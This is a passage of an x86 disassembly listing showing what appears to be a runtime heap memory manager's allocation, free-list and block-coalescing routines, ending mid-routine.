		mov	ebx, [esp+20h+var_1C]
		test	ebx, ebx
		jz	short loc_3D4B56
		lea	ecx, [esp+20h+var_14]
		mov	edx, [esp+20h+var_18]
		mov	eax, ebx
		call	sub_3D476C
		mov	eax, [esp+20h+var_14]
		mov	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_10]
		mov	[esp+20h+var_18], eax


loc_3D4B56:				; CODE XREF: sub_3D4AEC+49j
		cmp	[esp+20h+var_1C], 0
		jz	short loc_3D4B71
		lea	edx, [esp+20h+var_1C]
		mov	eax, offset dword_4055E4
		call	sub_3D45FC
		jmp	short loc_3D4B71
; ---------------------------------------------------------------------------


loc_3D4B6D:				; CODE XREF: sub_3D4AEC+24j
		xor	eax, eax
		mov	[edi], eax


loc_3D4B71:				; CODE XREF: sub_3D4AEC+6Fj
					; sub_3D4AEC+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D4AEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D4B78	proc near		; CODE XREF: sub_3D5264+14p
					; sub_3D53F4+19p ...
		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset word_40182E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_4055B4
		call	sub_3D44CC	; InitializeCriticalSection
		cmp	byte_405035, 0
		jz	short loc_3D4BA6
		push	offset dword_4055B4
		call	sub_3D44D4	; RtlEnterCriticalSection


loc_3D4BA6:				; CODE XREF: sub_3D4B78+22j
		mov	eax, offset dword_4055D4
		call	sub_3D453C
		mov	eax, offset dword_4055E4
		call	sub_3D453C
		mov	eax, offset dword_405610
		call	sub_3D453C
		push	0FF8h
		push	0
		call	sub_3D44AC	; LocalAlloc
		mov	dword_40560C, eax
		cmp	dword_40560C, 0
		jz	short loc_3D4C0D
		mov	eax, 3


loc_3D4BE3:				; CODE XREF: sub_3D4B78+7Dj
		mov	edx, dword_40560C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_3D4BE3
		mov	eax, offset dword_4055F4
		mov	[eax+4], eax
		mov	[eax], eax
		mov	dword_405600, eax
		mov	byte_4055AC, 1


loc_3D4C0D:				; CODE XREF: sub_3D4B78+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset aAmu@	; " ¬U@"
		cmp	byte_405035, 0
		jz	short locret_3D4C2D
		push	offset dword_4055B4
		call	sub_3D44DC	; RtlLeaveCriticalSection

locret_3D4C2D:				; CODE XREF: sub_3D4B78+A9j
		retn
sub_3D4B78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 55E9h
		dd 0EB000011h, 55ACA0E5h, 0C35D0040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D4C3C	proc near		; CODE XREF: .data:003D6513p
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	byte_4055AC, 0
		jz	loc_3D4D19
		xor	edx, edx
		push	ebp
		push	offset word_401912
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	byte_405035, 0
		jz	short loc_3D4C6E
		push	offset dword_4055B4
		call	sub_3D44D4	; RtlEnterCriticalSection


loc_3D4C6E:				; CODE XREF: sub_3D4C3C+26j
		mov	byte_4055AC, 0
		mov	eax, dword_40560C
		push	eax
		call	sub_3D44B4	; LocalFree
		xor	eax, eax
		mov	dword_40560C, eax
		mov	ebx, dword_4055D4
		jmp	short loc_3D4CA1
; ---------------------------------------------------------------------------


loc_3D4C8F:				; CODE XREF: sub_3D4C3C+6Bj
		push	8000h
		push	0
		mov	eax, [ebx+8]
		push	eax
		call	sub_3D44C4	; VirtualFree
		mov	ebx, [ebx]


loc_3D4CA1:				; CODE XREF: sub_3D4C3C+51j
		cmp	ebx, offset dword_4055D4
		jnz	short loc_3D4C8F
		mov	eax, offset dword_4055D4
		call	sub_3D453C
		mov	eax, offset dword_4055E4
		call	sub_3D453C
		mov	eax, offset dword_405610
		call	sub_3D453C
		mov	eax, dword_4055CC
		test	eax, eax
		jz	short loc_3D4CE7


loc_3D4CD0:				; CODE XREF: sub_3D4C3C+A9j
		mov	edx, [eax]
		mov	dword_4055CC, edx
		push	eax
		call	sub_3D44B4	; LocalFree
		mov	eax, dword_4055CC
		test	eax, eax
		jnz	short loc_3D4CD0


loc_3D4CE7:				; CODE XREF: sub_3D4C3C+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401919
		cmp	byte_405035, 0
		jz	short loc_3D4D07
		push	offset dword_4055B4
		call	sub_3D44DC	; RtlLeaveCriticalSection


loc_3D4D07:				; CODE XREF: sub_3D4C3C+BFj
		push	offset dword_4055B4
		call	sub_3D44E4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------
		dw 71E9h
		dd 0EB000010h
		db 0DBh
; ---------------------------------------------------------------------------


loc_3D4D19:				; CODE XREF: sub_3D4C3C+Bj
		pop	ebx
		pop	ebp
		retn
sub_3D4C3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D4D1C	proc near		; CODE XREF: sub_3D4E2C:loc_3D4E8Dp
					; sub_3D4E9C+23p ...
		push	ebx
		cmp	eax, dword_405600
		jnz	short loc_3D4D2E
		mov	edx, [eax+4]
		mov	dword_405600, edx


loc_3D4D2E:				; CODE XREF: sub_3D4D1C+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_3D4D74
		cmp	eax, edx
		jnz	short loc_3D4D57
		test	ecx, ecx
		jns	short loc_3D4D47
		add	ecx, 3


loc_3D4D47:				; CODE XREF: sub_3D4D1C+26j
		sar	ecx, 2
		mov	eax, dword_40560C
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_3D4D7B
; ---------------------------------------------------------------------------


loc_3D4D57:				; CODE XREF: sub_3D4D1C+22j
		test	ecx, ecx
		jns	short loc_3D4D5E
		add	ecx, 3


loc_3D4D5E:				; CODE XREF: sub_3D4D1C+3Dj
		sar	ecx, 2
		mov	ebx, dword_40560C
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_3D4D74:				; CODE XREF: sub_3D4D1C+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx


loc_3D4D7B:				; CODE XREF: sub_3D4D1C+39j
		pop	ebx
		retn
sub_3D4D1C	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D4D80	proc near		; CODE XREF: sub_3D4ED4+11p
		mov	edx, dword_405610
		jmp	short loc_3D4D98
; ---------------------------------------------------------------------------


loc_3D4D88:				; CODE XREF: sub_3D4D80+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_3D4D96
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_3D4DAC


loc_3D4D96:				; CODE XREF: sub_3D4D80+Dj
		mov	edx, [edx]


loc_3D4D98:				; CODE XREF: sub_3D4D80+6j
		cmp	edx, offset dword_405610
		jnz	short loc_3D4D88
		mov	dword_4055B0, 3
		xor	edx, edx


loc_3D4DAC:				; CODE XREF: sub_3D4D80+14j
		mov	eax, edx
		retn
sub_3D4D80	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D4DB0	proc near		; CODE XREF: sub_3D4ED4+74p
					; sub_3D5058+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_3D4DCD
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_3D4F84
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_3D4DCD:				; CODE XREF: sub_3D4DB0+Cj
		cmp	edx, 4
		jl	short loc_3D4DDE
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx


loc_3D4DDE:				; CODE XREF: sub_3D4DB0+20j
		pop	ebx
		retn
sub_3D4DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D4DE0	proc near		; CODE XREF: sub_3D4E04+Dp
					; sub_3D500C+36p ...
		inc	dword_40559C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	dword_4055A0, edx
		call	sub_3D53F4
		retn
sub_3D4DE0	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D4E04	proc near		; CODE XREF: sub_3D4ED4+8Ep
		cmp	edx, 0Ch
		jl	short loc_3D4E17
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_3D4DE0
		retn
; ---------------------------------------------------------------------------


loc_3D4E17:				; CODE XREF: sub_3D4E04+3j
		cmp	edx, 4
		jl	short loc_3D4E26
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_3D4E26:				; CODE XREF: sub_3D4E04+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_3D4E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D4E2C	proc near		; CODE XREF: sub_3D5058+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_3D4E4F
		mov	dword_4055B0, 4


loc_3D4E4F:				; CODE XREF: sub_3D4E2C+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_3D4E6F
		mov	dword_4055B0, 5


loc_3D4E6F:				; CODE XREF: sub_3D4E2C+37j
		test	byte ptr [ecx],	1
		jz	short loc_3D4E94
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_3D4E8D
		mov	dword_4055B0, 6


loc_3D4E8D:				; CODE XREF: sub_3D4E2C+55j
		call	sub_3D4D1C
		add	ebx, esi


loc_3D4E94:				; CODE XREF: sub_3D4E2C+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_3D4E2C	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D4E9C	proc near		; CODE XREF: sub_3D5058+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_3D4EB7
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_3D4EB7:				; CODE XREF: sub_3D4E9C+Ej
		test	al, 2
		jnz	short loc_3D4ECE
		mov	esi, ebx
		mov	eax, esi
		call	sub_3D4D1C
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_3D4ECE:				; CODE XREF: sub_3D4E9C+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D4E9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D4ED4	proc near		; CODE XREF: sub_3D4F84+61p

var_1C		= byte ptr -1Ch
var_1B		= dword	ptr -1Bh
var_17		= dword	ptr -17h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edi, edx
		mov	esi, eax
		mov	[esp+1Ch+var_1C], 0
		mov	eax, esi
		call	sub_3D4D80
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_3D4F76
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_3D4F0C
		mov	edi, eax
		sub	edi, esi


loc_3D4F0C:				; CODE XREF: sub_3D4ED4+32j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_3D4F29
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_3D4AEC
		jmp	short loc_3D4F3A
; ---------------------------------------------------------------------------


loc_3D4F29:				; CODE XREF: sub_3D4ED4+3Fj
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_3D4AEC


loc_3D4F3A:				; CODE XREF: sub_3D4ED4+53j
		mov	ebp, [esp+1Ch+var_1B]
		test	ebp, ebp
		jz	short loc_3D4F76
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_3D4DB0
		mov	eax, ebp
		add	eax, [esp+1Ch+var_17]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_3D4F67
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_3D4E04


loc_3D4F67:				; CODE XREF: sub_3D4ED4+87j
		lea	edx, [esp+1Ch+var_1B]
		mov	eax, ebx
		call	sub_3D45FC
		mov	[esp+1Ch+var_1C], 1


loc_3D4F76:				; CODE XREF: sub_3D4ED4+1Aj
					; sub_3D4ED4+6Cj
		mov	al, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D4ED4	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D4F84	proc near		; CODE XREF: sub_3D4DB0+16p
					; sub_3D5170+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_3D4FD9
		mov	edx, esi
		test	edx, edx
		jns	short loc_3D4FAB
		add	edx, 3


loc_3D4FAB:				; CODE XREF: sub_3D4F84+22j
		sar	edx, 2
		mov	eax, dword_40560C
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_3D4FCB
		mov	eax, dword_40560C
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_3D5005
; ---------------------------------------------------------------------------


loc_3D4FCB:				; CODE XREF: sub_3D4F84+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_3D5005
; ---------------------------------------------------------------------------


loc_3D4FD9:				; CODE XREF: sub_3D4F84+1Cj
		cmp	esi, 3C00h
		jl	short loc_3D4FEE
		mov	edx, esi
		mov	eax, edi
		call	sub_3D4ED4
		test	al, al
		jnz	short loc_3D5005


loc_3D4FEE:				; CODE XREF: sub_3D4F84+5Bj
		mov	eax, dword_405600
		mov	dword_405600, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx


loc_3D5005:				; CODE XREF: sub_3D4F84+45j
					; sub_3D4F84+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D4F84	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D500C	proc near		; CODE XREF: sub_3D5058+Fp
					; sub_3D53F4+100p ...
		cmp	dword_405604, 0
		jle	short locret_3D5055
		cmp	dword_405604, 0Ch
		jge	short loc_3D502A
		mov	dword_4055B0, 7
		jmp	short locret_3D5055
; ---------------------------------------------------------------------------


loc_3D502A:				; CODE XREF: sub_3D500C+10j
		mov	eax, dword_405604
		or	eax, 2
		mov	edx, dword_405608
		mov	[edx], eax
		mov	eax, dword_405608
		add	eax, 4
		call	sub_3D4DE0
		xor	eax, eax
		mov	dword_405608, eax
		xor	eax, eax
		mov	dword_405604, eax

locret_3D5055:				; CODE XREF: sub_3D500C+7j
					; sub_3D500C+1Cj
		retn
sub_3D500C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D5058	proc near		; CODE XREF: sub_3D50E4+18p
					; sub_3D5110+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_3D500C
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset dword_405610
		call	sub_3D458C
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_3D5088
		xor	eax, eax
		jmp	short loc_3D50DA
; ---------------------------------------------------------------------------


loc_3D5088:				; CODE XREF: sub_3D5058+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_3D5098
		call	sub_3D4E2C
		sub	[edi], eax
		add	[edi+4], eax


loc_3D5098:				; CODE XREF: sub_3D5058+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_3D50AF
		call	sub_3D4E9C
		add	[edi+4], eax


loc_3D50AF:				; CODE XREF: sub_3D5058+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_3D50C9
		sub	eax, 4
		mov	edx, 4
		call	sub_3D4DB0
		sub	dword ptr [edi+4], 4


loc_3D50C9:				; CODE XREF: sub_3D5058+5Ej
		mov	eax, [edi]
		mov	dword_405608, eax
		mov	eax, [edi+4]
		mov	dword_405604, eax
		mov	al, 1


loc_3D50DA:				; CODE XREF: sub_3D5058+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D5058	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D50E4	proc near		; CODE XREF: sub_3D5170+57p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_3D4938
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_3D5105
		mov	eax, esp
		call	sub_3D5058
		test	al, al
		jnz	short loc_3D5109


loc_3D5105:				; CODE XREF: sub_3D50E4+14j
		xor	eax, eax
		jmp	short loc_3D510B
; ---------------------------------------------------------------------------


loc_3D5109:				; CODE XREF: sub_3D50E4+1Fj
		mov	al, 1


loc_3D510B:				; CODE XREF: sub_3D50E4+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_3D50E4	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D5110	proc near		; CODE XREF: sub_3D5598+1A4p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_3D49C8
		cmp	[esp+10h+var_10], 0
		jz	short loc_3D5136
		mov	eax, esp
		call	sub_3D5058
		test	al, al
		jnz	short loc_3D513A


loc_3D5136:				; CODE XREF: sub_3D5110+19j
		xor	eax, eax
		jmp	short loc_3D513C
; ---------------------------------------------------------------------------


loc_3D513A:				; CODE XREF: sub_3D5110+24j
		mov	al, 1


loc_3D513C:				; CODE XREF: sub_3D5110+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_3D5110	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D5144	proc near		; CODE XREF: sub_3D5170+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_3D514D
		add	eax, 3


loc_3D514D:				; CODE XREF: sub_3D5144+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_3D516D


loc_3D5157:				; CODE XREF: sub_3D5144+27j
		mov	edx, dword_40560C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_3D516D
		inc	eax
		cmp	eax, 401h
		jnz	short loc_3D5157


loc_3D516D:				; CODE XREF: sub_3D5144+11j
					; sub_3D5144+1Fj
		mov	eax, edx
		retn
sub_3D5144	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D5170	proc near		; CODE XREF: sub_3D5264+153p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset dword_405600
		mov	ebp, offset dword_405604


loc_3D5180:				; CODE XREF: sub_3D5170+6Aj
		mov	ebx, dword_4055F8
		cmp	esi, [ebx+8]
		jle	loc_3D5213
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_3D5213
		mov	[ebx+8], esi


loc_3D519B:				; CODE XREF: sub_3D5170+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_3D519B
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_3D51B0
		mov	[edi], ebx
		jmp	short loc_3D5213
; ---------------------------------------------------------------------------


loc_3D51B0:				; CODE XREF: sub_3D5170+3Aj
		cmp	esi, 1000h
		jg	short loc_3D51C5
		mov	eax, esi
		call	sub_3D5144
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_3D5213


loc_3D51C5:				; CODE XREF: sub_3D5170+46j
		mov	eax, esi
		call	sub_3D50E4
		test	al, al
		jnz	short loc_3D51D7
		xor	eax, eax
		jmp	loc_3D525F
; ---------------------------------------------------------------------------


loc_3D51D7:				; CODE XREF: sub_3D5170+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_3D5180
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_3D51ED
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_3D51ED:				; CODE XREF: sub_3D5170+73j
		mov	eax, dword_405608
		add	dword_405608, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	dword_40559C
		sub	esi, 4
		add	dword_4055A0, esi
		jmp	short loc_3D525F
; ---------------------------------------------------------------------------


loc_3D5213:				; CODE XREF: sub_3D5170+19j
					; sub_3D5170+26j ...
		mov	eax, ebx
		call	sub_3D4D1C
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_3D5232
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_3D4F84
		jmp	short loc_3D5244
; ---------------------------------------------------------------------------


loc_3D5232:				; CODE XREF: sub_3D5170+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_3D523D
		mov	eax, [ebx+4]
		mov	[edi], eax


loc_3D523D:				; CODE XREF: sub_3D5170+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh


loc_3D5244:				; CODE XREF: sub_3D5170+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	dword_40559C
		sub	esi, 4
		add	dword_4055A0, esi


loc_3D525F:				; CODE XREF: sub_3D5170+62j
					; sub_3D5170+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D5170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D5264	proc near		; CODE XREF: .data:003D57D0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		cmp	byte_4055AC, 0
		jnz	short loc_3D5281
		call	sub_3D4B78
		test	al, al
		jz	short loc_3D5289


loc_3D5281:				; CODE XREF: sub_3D5264+12j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_3D5293


loc_3D5289:				; CODE XREF: sub_3D5264+1Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_3D53E7
; ---------------------------------------------------------------------------


loc_3D5293:				; CODE XREF: sub_3D5264+23j
		xor	ecx, ecx
		push	ebp
		push	offset dword_401FE0
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	byte_405035, 0
		jz	short loc_3D52B4
		push	offset dword_4055B4
		call	sub_3D44D4	; RtlEnterCriticalSection


loc_3D52B4:				; CODE XREF: sub_3D5264+44j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_3D52C4
		mov	ebx, 0Ch


loc_3D52C4:				; CODE XREF: sub_3D5264+59j
		cmp	ebx, 1000h
		jg	loc_3D5363
		mov	eax, ebx
		test	eax, eax
		jns	short loc_3D52D9
		add	eax, 3


loc_3D52D9:				; CODE XREF: sub_3D5264+70j
		sar	eax, 2
		mov	edx, dword_40560C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_3D5363
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_3D5314
		mov	eax, ebx
		test	eax, eax
		jns	short loc_3D5303
		add	eax, 3


loc_3D5303:				; CODE XREF: sub_3D5264+9Aj
		sar	eax, 2
		mov	ecx, dword_40560C
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_3D533A
; ---------------------------------------------------------------------------


loc_3D5314:				; CODE XREF: sub_3D5264+94j
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_3D531D
		add	ecx, 3


loc_3D531D:				; CODE XREF: sub_3D5264+B4j
		sar	ecx, 2
		mov	edi, dword_40560C
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_3D533A:				; CODE XREF: sub_3D5264+AEj
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	dword_40559C
		sub	ebx, 4
		add	dword_4055A0, ebx
		call	sub_3D5E44
		jmp	loc_3D53E7
; ---------------------------------------------------------------------------


loc_3D5363:				; CODE XREF: sub_3D5264+66j
					; sub_3D5264+84j
		cmp	ebx, dword_405604
		jg	short loc_3D53B5
		sub	dword_405604, ebx
		cmp	dword_405604, 0Ch
		jge	short loc_3D5387
		add	ebx, dword_405604
		xor	eax, eax
		mov	dword_405604, eax


loc_3D5387:				; CODE XREF: sub_3D5264+114j
		mov	eax, dword_405608
		add	dword_405608, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	dword_40559C
		sub	ebx, 4
		add	dword_4055A0, ebx
		call	sub_3D5E44
		jmp	short loc_3D53E7
; ---------------------------------------------------------------------------


loc_3D53B5:				; CODE XREF: sub_3D5264+105j
		mov	eax, ebx
		call	sub_3D5170
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401FE7
		cmp	byte_405035, 0
		jz	short locret_3D53DF
		push	offset dword_4055B4
		call	sub_3D44DC	; RtlLeaveCriticalSection

locret_3D53DF:				; CODE XREF: sub_3D5264+16Fj
		retn
; ---------------------------------------------------------------------------
		dd 9A3E9h
		db 0, 0EBh, 0E5h
; ---------------------------------------------------------------------------


loc_3D53E7:				; CODE XREF: sub_3D5264+2Aj
					; sub_3D5264+FAj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_3D5264	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D53F4	proc near		; CODE XREF: sub_3D4DE0+1Cp
					; .data:003D57FCp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	dword_4055B0, eax
		cmp	byte_4055AC, 0
		jnz	short loc_3D542C
		call	sub_3D4B78
		test	al, al
		jnz	short loc_3D542C
		mov	dword_4055B0, 8
		mov	[ebp+var_4], 8
		jmp	loc_3D558D
; ---------------------------------------------------------------------------


loc_3D542C:				; CODE XREF: sub_3D53F4+17j
					; sub_3D53F4+20j
		xor	ecx, ecx
		push	ebp
		push	offset word_402186
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	byte_405035, 0
		jz	short loc_3D544D
		push	offset dword_4055B4
		call	sub_3D44D4	; RtlEnterCriticalSection


loc_3D544D:				; CODE XREF: sub_3D53F4+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_3D5468
		mov	dword_4055B0, 9
		jmp	loc_3D555D
; ---------------------------------------------------------------------------


loc_3D5468:				; CODE XREF: sub_3D53F4+63j
		dec	dword_40559C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	dword_4055A0, eax
		test	bl, 1
		jz	short loc_3D54C8
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
